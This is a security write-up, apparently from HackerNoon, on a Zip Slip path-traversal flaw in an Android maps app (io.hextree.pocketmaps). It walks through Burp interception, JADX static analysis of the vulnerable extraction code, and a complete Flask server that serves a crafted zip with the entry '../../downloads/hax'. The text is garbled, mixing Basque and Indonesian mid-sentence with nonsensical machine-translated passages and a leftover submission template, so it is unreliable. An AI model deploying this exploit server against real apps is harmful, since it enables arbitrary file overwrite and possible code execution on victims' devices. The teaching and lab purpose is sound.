Zip Slip artxiboak erauzteko prozesuan oso hedatuta dagoen ahultasun larria da, erasotzaileek edozein fitxategi sisteman idazteko aukera ematen baitu. Normalean, honek RCE (Urrutiko Kode Exekuzioa) sortzen du. Snyk Security taldeak 2018ko ekainaren 5ean publiko egin baino lehen aurkitu eta arduraz zabaldu zuen ahultasuna. Arazoak milaka proiekturi eragiten die, HP, Amazon, Apache, Pivotal eta beste hainbat enpresa nagusien jabetzakoak barne.
Zip Slip espresuki landutako artxiboen bidez ustiatzen da direktorioa zeharkatzea (eg, ../../evil.sh)
duten fitxategi-izenekin. Ahultasun hau artxibo formatu askotan gerta daiteke, hala nola tar, ghz, jar, war, cpio, apk, rar eta 7z.
Ahultasun honen muina direktorioa zeharkatzea da, non erasotzaileak helburuko karpetatik kanpoko sistemaren fitxategien zatiak atzi ditzakeen. Erasotzaileak fitxategi exekutagarria gainidatzi eta urrunetik exekutatu dezake, edo sistemak edo erabiltzaileak fitxategia dei arte itxaron, biktimaren makinan komandoak exekutatu ahal izateko. Gainera, ahultasun horrek kalteak ere eragin ditzake konfigurazio-fitxategiak edo bestelako baliabide sentikorrak gainidatziz, eta erabiltzailearen makinan zein zerbitzarian ustiatu daiteke.
Ziurtagiriaren zirriborroaren ahultasuna ustiatzeko erabili ahal izango duzu Android-en aplikazioa.
Aplikazio hau Google Maps-en deskargatu nahi baduzu, tokiko tokiko gizonek deskargatu baliabidea egin klik botoian eta egin klik botoian.
Tetapi sebelum kita analysis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikazioa yang digunakan untuk menguji keamanan aplikazioa web eta mobile. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan .
Besterik gabe, deskargatu Tresnak egin klik estekan egin klik hemen:
https://portswigger.net/burp/communitydownload
Berikut adalah hasil Intercept ketika kita mau menambahkan maps nya, dan bisa di analysis kalau apk ini rentan karena permintaan API nya masih memakai protocol HTTP tidak menggunakan HTTPS yang dimana memungkinkan Erasotzailea tidak hanya bisa melihat traffic yang di kirimte/ dithering bis, manipulate modifikasi eskaera eta erantzuna nya secara Testu garbia.
Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh area permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini.
Tresnak JADX erabili ahal izango dituzu Alderantzizko Ingeniaritza eta analisi estatikoa ez ezik, analisi estatiko bat ere balio du.
network_security_config.xml
fitxategiaren analisiaren analisia ezarri behar da cleartextTrafficPermitted="true"
. Sehingga konfigurasi ini mengizinkan testu garbiaren trafikoa da setiap permintaan untuk domeinua yang diizinkan. Erabili domeinua da CleartextTraffic tesebut batean. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam production.
ini adalah Hasil intercept ketika kita mendownload maps nya yang dimana dia mengambil file ZIP den format .ghz
Dan mencoba mendownload file .ghz secara manual dengan copas di laptop. Berikut adalah isi fitxategia ZIP tesebut.
Untuk mengetahui lokasi data yang di unzip oleh aplikasi kita bisa gunakan command find / | grep australia oceania_nauru.map
di adb shell mobile emulator nya dan pastikan juga kalau kita sudah memiliki akses root di emulatornya.
Hau da, bide-fitxategia deskonprimitu behar da:
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/
Hasi menunjukkan kepada kita bahwa aplikazioa benar-benar meng-unzip fitxategia mapa nya.
Mari kita lihat lebih dekat pada arbitrary file write Vulnerability dalam aplikasi nya, Seperti yang sudah kita ketahui issue nya terkait dengan File ZIP Maps Handling. Lakukan analisi estatikoa egin behar da hitz gako-hitzak: ZipEntry
agar mengetahui class code nya meng-handle file ZIP mapnya.
Sebelum kita analisia lebih dalam kodea nya, esan bezala, mengikuti panduan dari snyk taldea untuk mencari kode yang sering diimplementasi tetapi errentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability
Penjelasan:
Kode berikut rentan terhadap serangan zip slip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Di sini, e.getName()
dapat mengembalikan name file dengan jalur relatif yang berbahaya, seperti ../../malicious.sh
. Ini berarti file tersebut bisa diekstrak di luar destinationDir
yang ditentukan.
InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));
Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Jika jalur tersebut menuju ke lokasi berbahaya, seperti direktori root sistem atau folder lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya.
Karen kita sudah mengetahui kode yang rentan sesuai panduan mari kita analisiaren kodea apk nya:
Pembuatan Path Tanpa Validasi:
String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();
Sini, jalur file ( str3
) dibuat dengan menggabungkan path dari direktori tujuan ( file.getAbsolutePath()
) dengan name entry zip ( nextEntry.getName()
). Namun, nextEntry.getName()
bisa berisi elemen bidea berbahaya seperti ../../
, yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( file
).
Zehaztu bide-izena, fitxategia zure direktorioa da:
if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }
Ini membuat atau menulis file tanpa memastikan bahwa str3
adalah jalur yang aman.
Besteak beste, esan zuen menyiapkan 2 hal untuk ingurumena zerangan nya:
Konfiguratu Dynamic HTTP Mocking Environment : luzapena HTTP Mock dari burpsuite ini dapat mengubah response asli dari application sinya dengan mencocokkan rules yang sudah kirimkan dari http history
input manual
. Nahi izanez gero, erantzuna eman nahi baduzu, URLra birbideratu behar da, eta erantzuna denbora errealean erabili behar da HTTP Mock.
2. Konfiguratu Tokiko Zerbitzariaren Ingurunea : Karena eskaera egin behar da, tokiko zerbitzari maltzurren birbideratze-lanak eta zip maltzurren bat ez baduzu:
from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)
Zergatik zara segurtasun digitaleko agintaria?
Ziberkrimena etengabe garatzen ari da. Zer berri dago HackerNoon komunitateak iruzurgile digitalen aurkako borrokan jakin dezakeen Ziberdelituaren munduan?
Troiako, malware, spyware eta abar. Zein da gure ordenagailu maiteak kutsatu eta gure informazioa hartu dezaketen akatsen berriena? Ez da hor gelditzen, ordea; jakin iezaguzu zeintzuk diren beste ziber gaitz batzuk!
Nola nabigatzen ari zara ahultasunekin teknologia berrietan? Etxe adimentsuak, AI eta Gauzen Internetek beren ahultasunak dituzte.
Mesedez, ziurtatu goiko informazio guztia ezabatzen duzula zure zirriborroa idatzi eta bidali aurretik. Eskerrik asko!